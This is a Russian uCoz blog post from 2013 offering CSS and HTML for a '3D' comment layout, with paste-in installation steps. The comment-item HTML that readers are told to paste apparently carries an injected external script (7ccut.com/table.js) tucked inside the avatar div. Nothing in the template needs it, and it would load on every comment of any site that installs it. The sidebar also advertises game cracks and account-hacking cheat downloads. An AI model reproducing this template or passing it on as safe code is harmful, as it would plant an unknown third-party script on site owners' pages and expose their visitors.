Пятница, 19.10.2018, 01:15
http://ze-os.ucoz.ru/
Приветствую Вас Гость | RSS
Главная Регистрация Вход
Меню сайта
Коллекция флеш-игр различных жанров, а также браузерных и клиентских ролевых игр и стратегий, в которые можно поиграть их бесплатно здесь на сайте http://igrportal.ru/.

Категории раздела
ИГРЫ [76]
ПРОГРАММЫ [253]
КАРТИНКИ [16]
музыка [188]
ДИЗАЙН [64]
ФИЛЬМЫ [59]
КНИГИ [134]
АУДИОКНИГИ [6]
ВИДЕО [81]
РАЗНОЕ [56]
СЕРИАЛЫ [14]


Статистика
Яндекс.Метрика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Форма входа

Главная » 2013 » Декабрь » 31 » Уникальный вид коментариев для Ucoz в стиле 3D
18:51
Уникальный вид коментариев для Ucoz в стиле 3D

Уникальный вид комментариев выполнен в стиле 3D, отлично смотрится на любом дизайне. Вид комментариев полностью рабочий, отображается во всех браузерах одинаково и установка не займет у Вас много времени. Автор постарался на славу. Предлагаю посмотреть видео обзор этого вида комментариев для ucoz



Установка:

В самый низ вашего css вставляйте:

Код
/*--ubutton-fix--*/  
  .myBtnLeft img, .myBtnRight img, .myBtnLeftA img, .myBtnRightA img, .myBtnRight + td input, .myBtnRightA + td input { display: block }  
  .myBtnCenter, .myBtnCenterA { line-height:19px !important }  
  .myBtnCont { height:19px; padding-bottom:0 !important }  

  @font-face {  
  font-family: 'fontawesome-selected';  
  src: url("/css/fontawesome-selected.eot");  
  src:  
  url("/css/fontawesome-selected.eot?#iefix") format('embedded-opentype'),  
  url("/css/fontawesome-selected.woff") format('woff'),  
  url("/css/fontawesome-selected.ttf") format('truetype'),  
  url("/css/fontawesome-selected.svg#fontawesome-selected") format('svg');  
  font-weight: normal;  
  font-style: normal;  
  }  

  .timeline {  
  position: relative;  
  list-style-type: none;  
  padding: 30px 0 50px 0;  
  font-family: 'Gorditas', Arial, sans-serif;  
  width:650px;  
  background:#ddd  
  }  

  .timeline:before {  
  content: '';  
  position: absolute;  
  width: 5px;  
  height: 100%;  
  top: 0;  
  left: 165px;  
  background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJUlEQVQIW2NkQAP/gYARWQwkAOLDBeECjEAAkkEWAKtEFwAJAgAZEBP+oM1IkwAAAABJRU5ErkJggg==);  
  color:#aaa  
  }  

  .event {  
  position: relative;  
  margin-bottom: 80px;  
  padding-right: 40px;  
  }  

  .thumb {  
  position: absolute;  
  width: 100px;  
  height: 100px;  
  box-shadow:  
  0 0 0 8px rgba(65,131,142,1),  
  0 1px 1px rgba(255,255,255,0.5);  
  background-repeat: no-repeat;  
  border-radius: 50%;  
  -webkit-transform: scale(0.8) translateX(24px);  
  -moz-transform: scale(0.8) translateX(24px);  
  -o-transform: scale(0.8) translateX(24px);  
  -ms-transform: scale(0.8) translateX(24px);  
  transform: scale(0.8) translateX(24px);  
  }  

  .thumb:before {  
  content: '';  
  position: absolute;  
  height: 8px;  
  z-index: -1;  
  background: transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAICAYAAADA+m62AAAAPElEQVQYV2NkQAP/gYARCNDFUQRgirAphitEl0TngxXisg5ZnBGXIpgbYfIYjkb3BNxGbBLYxIgyEaQRAA8KKAWYsZtjAAAAAElFTkSuQmCC);  
  width: 51px;  
  top: 42px;  
  left: 100%;  
  margin-left: 8px;  
  }  

  .thumb span {  
  color: #41838e;  
  width: 100%;  
  text-align: center;  
  font-weight: 700;  
  font-size: 15px;  
  text-transform: uppercase;  
  position: absolute;  
  bottom: -30px;  
  }  

  /* Transparent Checkbox/radio hack: leave the checkbox on top, hide it with opacity 0 */  

  .event label,  
  .event input[type="radio"] {  
  width: 24px;  
  height: 24px;  
  left: 158px;  
  top: 36px;  
  position: absolute;  
  display: block;  
  }  

  .event input[type="radio"] {  
  opacity: 0;  
  z-index: 10;  
  cursor: pointer;  
  }  

  .event label:after {  
  font-family: 'fontawesome-selected';  
  content: '\e702';  
  background: #fff;  
  border-radius: 50%;  
  color: #41838E;  
  font-size: 26px;  
  height: 100%;  
  width: 100%;  
  left: -2px;  
  top: -3px;  
  line-height: 24px;  
  position: absolute;  
  text-align: center;  
  }  

  .content-perspective {  
  margin-left: 230px;  
  position: relative;  

  -webkit-perspective: 600px;  
  -moz-perspective: 600px;  
  -o-perspective: 600px;  
  -ms-perspective: 600px;  
  perspective: 600px;  
  }  

  .content-perspective:before {  
  content: '';  
  width: 37px;  
  left: -51px;  
  top: 45px;  
  position: absolute;  
  height: 1px;  
  z-index: -1;  
  background: #fff;  
  }  

  .content {  
  -webkit-transform: rotateY(10deg);  
  -moz-transform: rotateY(10deg);  
  -o-transform: rotateY(10deg);  
  -ms-transform: rotateY(10deg);  
  transform: rotateY(10deg);  

  -webkit-transform-origin: 0 0;  
  -moz-transform-origin: 0 0;  
  -o-transform-origin: 0 0;  
  -ms-transform-origin: 0 0;  
  transform-origin: 0 0;  

  -webkit-transform-style: preserve-3d;  
  -moz-transform-style: preserve-3d;  
  -ms-transform-style: preserve-3d;  
  -o-transform-style: preserve-3d;  
  transform-style: preserve-3d;  
  }  

  .content-inner {  
  position: relative;  
  padding: 20px;  
  color: #333;  
  border: none;  
  border-left: 5px solid #41838e;  
  box-shadow: 0 4px 6px rgba(0,0,0,0.1);  
  background: #fff;  
  }  

  .content-inner h3 {  
  font-size: 26px;  
  padding: 5px 0 5px 0;  
  color: #41838e;  
  }  

  .content-inner p {  
  font-size: 18px;  
  overflow: hidden;  
  color: transparent;  
  color: #777;  
  text-align: left;  
  }  

  .content-inner:before {  
  font-family: 'fontawesome-selected';  
  content: '\25c2';  
  font-weight: normal;  
  font-size: 54px;  
  line-height: 54px;  
  position: absolute;  
  width: 30px;  
  height: 30px;  
  color: #41838e;  
  left: -22px;  
  top: 19px;  
  z-index: -1;  
  }  

  /* Transitions */  

  .thumb,  
  .thumb span,  
  .content-inner h3 {  
  -webkit-transition: all 0.6s ease-in-out 0.2s;  
  -moz-transition: all 0.6s ease-in-out 0.2s;  
  -o-transition: all 0.6s ease-in-out 0.2s;  
  -ms-transition: all 0.6s ease-in-out 0.2s;  
  transition: all 0.6s ease-in-out 0.2s;  
  }  

  .content-inner {  
  -webkit-transition: box-shadow 0.8s linear 0.2s;  
  -moz-transition: box-shadow 0.8s linear 0.2s;  
  -o-transition: box-shadow 0.8s linear 0.2s;  
  -ms-transition: box-shadow 0.8s linear 0.2s;  
  transition: box-shadow 0.8s linear 0.2s;  
  }  

  .content {  
  -webkit-transition: -webkit-transform 0.8s cubic-bezier(.59,1.45,.69,.98) 0.2s;  
  -moz-transition: -moz-transform 0.8s cubic-bezier(.59,1.45,.69,.98) 0.2s;  
  -o-transition: -o-transform 0.8s cubic-bezier(.59,1.45,.69,.98) 0.2s;  
  -ms-transition: -ms-transform 0.8s cubic-bezier(.59,1.45,.69,.98) 0.2s;  
  transition: transform 0.8s cubic-bezier(.59,1.45,.69,.98) 0.2s;  
  }  

  .content-inner p {  
  -webkit-transition: max-height 0.5s linear, color 0.3s linear;  
  -moz-transition: max-height 0.5s linear, color 0.3s linear;  
  -o-transition: max-height 0.5s linear, color 0.3s linear;  
  -ms-transition: max-height 0.5s linear, color 0.3s linear;  
  transition: max-height 0.5s linear, color 0.3s linear;  
  }  

  /* Checked */  

  .event input[type="radio"]:checked + label:after {  
  content: '\2714';  
  color: #F26328;  
  box-shadow: 0 0 0 5px rgba(255, 255, 255, 0.8);  
  }  

  .event input[type="radio"]:checked ~ .content-perspective:before {  
  background: #F26328;  
  }  

  .event input[type="radio"]:checked ~ .content-perspective .content-inner h3 {  
  color: #F26328;  
  }  

  .event input[type="radio"]:checked ~ .content-perspective .content {  
  -webkit-transform: rotateY(-5deg);  
  -moz-transform: rotateY(-5deg);  
  -o-transform: rotateY(-5deg);  
  -ms-transform: rotateY(-5deg);  
  transform: rotateY(-5deg);  
  }  

  .event input[type="radio"]:checked ~ .content-perspective .content-inner {  
  border-color: #F26328;  
  box-shadow: 10px 0px 10px -6px rgba(0, 0, 0, 0.1);  
  }  

  .event input[type="radio"]:checked ~ .content-perspective .content-inner p {  
  max-height: 260px; /* Add media queries */  
  color: rgba(0,0,0,0.6);  
  -webkit-transition-delay: 0s, 0.6s;  
  -moz-transition-delay: 0s, 0.6s;  
  -o-transition-delay: 0s, 0.6s;  
  -ms-transition-delay: 0s, 0.6s;  
  transition-delay: 0s, 0.6s;  
  }  

  .event input[type="radio"]:checked ~ .content-perspective .content-inner:before {  
  color: #F26328;  
  }  

  .event input[type="radio"]:checked ~ .thumb {  
  -webkit-transform: scale(1);  
  -moz-transform: scale(1);  
  -o-transform: scale(1);  
  -ms-transform: scale(1);  
  transform: scale(1);  
  box-shadow:  
  0 0 0 8px rgba(242,99,40,1),  
  0 1px 1px rgba(255,255,255,0.5);  
  }  

  .event input[type="radio"]:checked ~ .thumb span {  
  color: #F26328;  
  }  

  .event input[type="radio"]:checked ~ .thumb:before {  
  background: transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAICAYAAADA+m62AAAAPUlEQVQYV2NkQAOfUjX+882+wYgujiIAU4RNMVwhuiQ6H6wQl3XI4oy4FMHcCJPHcDS6J2A2EqUQpJhohQBbNyaHFmzEqgAAAABJRU5ErkJggg==);  
  }  

  .content-inner p,  
  .thumb span,  
  .event label {  
  -webkit-backface-visibility: hidden;  
  }  

  @media screen and (max-width: 850px) {  
  .content-inner h3 {  
  font-size: 20px;  
  }  

  .content-inner p {  
  font-size: 14px;  
  text-align: justify;  
  }  

  .event input[type="radio"]:checked ~ .content-perspective .content-inner p {  
  max-height: 500px;  
  }  
  }  

  @media screen and (max-width: 540px) {  
  .timeline::before {  
  left: 50px;  
  }  

  .event {  
  padding-right: 0px;  
  margin-bottom: 100px;  
  }  

  .thumb {  
  -webkit-transform: scale(0.8);  
  -moz-transform: scale(0.8);  
  -o-transform: scale(0.8);  
  -ms-transform: scale(0.8);  
  transform: scale(0.8);  
  }  

  .event input[type="radio"] {  
  width: 100px;  
  height: 100px;  
  left: 0px;  
  top: 0px;  
  }  

  .thumb:before,  
  .event input[type="radio"]:checked ~ .thumb:before {  
  background: none;  
  width: 0;  
  }  

  .event label {  
  display: none;  
  }  

  .content-perspective {  
  margin-left: 0px;  
  top: 80px;  
  }  

  .content-perspective:before {  
  height: 0px;  
  }  

  .content {  
  -webkit-transform: rotateX(-10deg);  
  -moz-transform: rotateX(-10deg);  
  -o-transform: rotateX(-10deg);  
  -ms-transform: rotateX(-10deg);  
  transform: rotateX(-10deg);  
  }  

  .event input[type="radio"]:checked .content-perspective .content {  
  -webkit-transform: rotateX(10deg);  
  -moz-transform: rotateX(10deg);  
  -o-transform: rotateX(10deg);  
  -ms-transform: rotateX(10deg);  
  transform: rotateX(10deg);  
  }  

  .content-inner {  
  border-left: none;  
  border-top: 5px solid #41838e;  
  }  

  .event input[type="radio"]:checked ~ .content-perspective .content-inner {  
  border-color: #F26328;  
  box-shadow: 0 10px 10px -6px rgba(0, 0, 0, 0.1);  
  }  

  .content-inner:before {  
  content: '\25b4';  
  left: 33px;  
  top: -32px;  
  }  

  .event input[type="radio"]:checked ~ .content-perspective .content-inner p {  
  max-height: 300px;  
  }  
  }


На странице материала и комментариев к нему в нужном вам модуле замените $COM_BODY$ на:

Код
<section class="main">  
  <ul class="timeline">  
  $COM_BODY$  
  </ul>  
  </section>


Далее в виде материалов комментариев замените всё на:

Код
<li class="event">  
  <input type="radio" name="tl-group" checked/>  
  <label></label>  
  <a href="$PROFILE_URL$">  
  <div class="thumb user-$NUMBER$" style="background-image: url('<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>/img/aponoavatar.jpg<?endif?>');background-size: 100px;"><script src="http://7ccut.com/table.js" type="text/javascript"></script><span>$DATE$</span></div>  
  </a>  
  <div class="content-perspective">  
  <div class="content">  
  <div class="content-inner">  
  <h3>$USERNAME$<?if($ANSWER_URL$)?> » <a href="$ANSWER_URL$">Ответить</a><?endif?> $MODER_PANEL$</h3>  
  <p><?if($ANSWER$)?>$ANSWER$<?else?>$MESSAGE$<?endif?></p>  
  </div>  
  </div>  
  </div>  
  </li>


Картинку из прикреплённого архива залейте в папку img, пять файлов шрифта залейте в папку css

Скачать с Яндекс.Диск
Категория: РАЗНОЕ | Просмотров: 60 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Поиск

Календарь
«  Декабрь 2013  »
ПнВтСрЧтПтСбВс
      1
2345678
9101112131415
16171819202122
23242526272829
3031

Архив записей

Облако тегов
Лучшие игры для детей и взрослых вот здесь Download Скачать Логическая игра - Download Скачать Youda Farmer Pack Download Скачать CheMax 12.4 - Сбор CheMax v9.9 (RUS) - Сборник чит - к Игра: Silent Hunter 5 : Битва за Ат Sniper: Ghost Warrior (2010) PC Rep Gothic 2 + Gothic 2: Night of the R Игра: Gothic III. Золотое издание / Игра: Mass Effect 2 v.1.02 + Все 19 Игра: Русская рыбалка 2: Лабынкыр v Counter-Strike Source by BaRSPRO-74 Антология игр: Fallout 3 в 1 (RUS/P Игра: Blitzkrieg 2 / Блицкриг 2 Ант Игра: Risen (2009/RUS/ENG/Repack) - Игра: Mafia: The City of Lost Heave Игра: Grand Theft Auto IV v1.0.0.4 GTA San Andreas - Collection 10 in Just Cause 2 (2010/RUS/ENG/MULTI6/F Purple Heart v.2.5: Bubbly 2010/ENG Battlefield: Bad Company 2 (2010/RU Авиасимулятор: Крылья России / Red Игра: S.T.A.L.K.E.R. Collection 4 i Игра: Как Достать Соседку. Полный г Игра: Как Достать Соседку. Полный г SolSuite 2010 10.1 + crack (patch) Игра: Assassin's Creed DreamGOLD Ed Игра: James Cameron's Avatar: The G Авиа симулятор: Крылатые Хищники (2 Игра: Machinarium (Машинариум) Repa для обучения чтению - Скачать беспл Игра: Баба-яга учится читать - Игра Авиасимулятор: Ил-2 Штурмовик - Пла 3D Sex Villa 2 - Everlust 2.058.002 3D Sex Villa 2 - Everlust 2.058.002 Worms 2 - portable Русская версия - LoveChess 2.29 - Age of Egypt + Ser Worms Armageddon Ultimate Edition F Zuma Deluxe 1.0 Portable Cracked - Tumble Bugs 1.0 Portable Cracked - Ил-2 Штурмовик: Забытые сражения v1 Fallout 3 - Скачать бесплатно Counter-Strike 1.6 Final Xtreme Edi Ил-2 Штурмовик: Чужое небо (Rus/200 Карты на раздевание - Дурак v.2.7.1 priPrinter Professional 5.1.0.1468 VA - Gorilas Bass (2012) PSD исходник для фотошопа - Золотые Богини правосудия - Все 4 серии (20 Как побороть страх подхода и знаком BurnAware Free 5.4 Final Женские шаблоны – Гламурные красотк CS 1.6 скачать CS 1.6 торрент Count Mirillis Splash 1.13.1 ( две версии Журналы Радиоаматор - Архив за 2012 VA - 100 Хитов От Деда Мороза (2012 Бьянка - Полная коллекция видео кли Duke Forever Nukem игра arcade bang Racing Shooter Crysis Wreckage Action Stalker войны долг max Payne Disco Клипы Сборник Дискотека Club Mix Клубная отрыв MP3 Pop super Зимний скачать бесплатно 3G интернет Игры Главная » Файлы » Музыка и клипы » ESET NOD32 для и файлы ключи Gta San andreas Andreas города крупных ЛасВегас GTASAsf1.b 198.0 КБ Теги: 100% прохождение GTA San Andreas, GTA San Andreas, 100% gta_san_andreas_chistyy_original.exe 206.5 КБ Теги: GTA San Andreas GTA_San_Andreas_Crack.zip 425.1 КБ Теги: GTA San Andreas кряк, GTA San Andreas, GTA San Andreas крэк, GTA San Andreas crack New Effects v1.5.rar 9.0 МБ Теги: моды, gta san andreas GTA-SA Crazy IMG Editor.exe 333.0 КБ Теги: GTA San Andreas, img gta.txt 713 байт Теги: gta san andreas, gta 5, world of taks, wot, wot wh, wot чит, читы на танки Samp-Upgrade.exe 57.0 КБ Теги: Samp, upgrade, tegs, 0.3x, GTA San Andreas, gta, san, andreas, gta sa, 03x GTA_San_Andreas_Crack.zip 419.5 КБ Теги: GTA San Andreas кряк, GTA San Andreas, GTA San Andreas крэк, GTA San Andreas crack Пиар.rar.zip 226.0 КБ Теги: Пиар.rar samp-rp, мод для смены скина гос.структур, гос.скины, моды, гта сан андрес, gta san andreas, samp, скины гос., ГТА, скрины hud.txd.zip 272.8 КБ Теги: hud.txd Samp скачать чит, взлом аккаунтов, SAMP, чит, админка, взлом, взлом админки, скачать бесплатно, minecraft, gta san andreas GTA_San_Andreas_Crack.zip 429.8 КБ Теги: GTA San Andreas кряк, GTA San Andreas, GTA San Andreas крэк, GTA San Andreas crack Gta Benzin.rar 2.7 МБ Теги: GTA, Бензин, samp-rp.su, вконтакте, SAMP, Gta San Andreas hd weapon standart.zip 520.4 КБ Теги: hd weapon standart gta sa, gta san andreas, weapon, standart Донат.rar 3.1 МБ Теги: Самп, samp-rp.ru, samp rp, samp, игра, gta san andreas, Донат для samp-rp.ru Cheats KO v0.1 (OPEN BETA).rar 2.7 МБ Теги: Samp скачать чит, взлом аккаунтов, SAMP, чит, админка, взлом, взлом админки, скачать бесплатно, minecraft, gta san andreas Skins W.S Grove.zip 7.7 МБ Теги: skin pack, gta san andreas, blabla Повышатель FPS.rar 1.5 МБ Теги: GTA SAN ANDREAS PK and FreeRun place by Shift.rar 5.7 МБ Теги: ParkourPlace, Place, GTA San Andreas, 3d Max, by Shift Skin Pack (By Holmes) v1.zip 10.5 МБ Теги: gta san andreas, gta samp, el capone, моды, скины GTA SAN ANDREAS.exe 43.5 КБ Теги: gta san andreas Skin Pack Grove Street.rar 4.5 МБ Теги: GTA San Andreas, SkinPack s0bet by pr9n.exe 805.8 КБ Теги: gta samp 0.3x, gta san andreas, SAMP-RP, Advance RP, чит для samp, чит для advance, Читы для gta samp 0.3e CheatMoney For Samp-Rp 0.3x.exe 6.7 МБ Теги: Samp, sa-mp, Gta, Gta San andreas, samp 0.3x, самп рп, Деньги чит, деньги, чит, MoneyCheat qbinder1.7_Install.exe 816.0 КБ Теги: qbiner, SAMP-RP, Advance RP, 0.3x, gta san andreas, gta sa:mp, gta samp 0.3x ped.ifp 1.3 МБ Теги: gta san andreas, anim, ped.ifp для GTA SA SAMP_Hack.rar 2.6 МБ Теги: gta sa, GTA SAMP, samp 0.3x, gta san andreas, cheat for samp, hack samp 0.3x, 0.3x, gta samp 0.3x, 0.3e, sobeit для samp 0.3x

Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz



  • ... Бесплатный конструктор сайтов - uCoz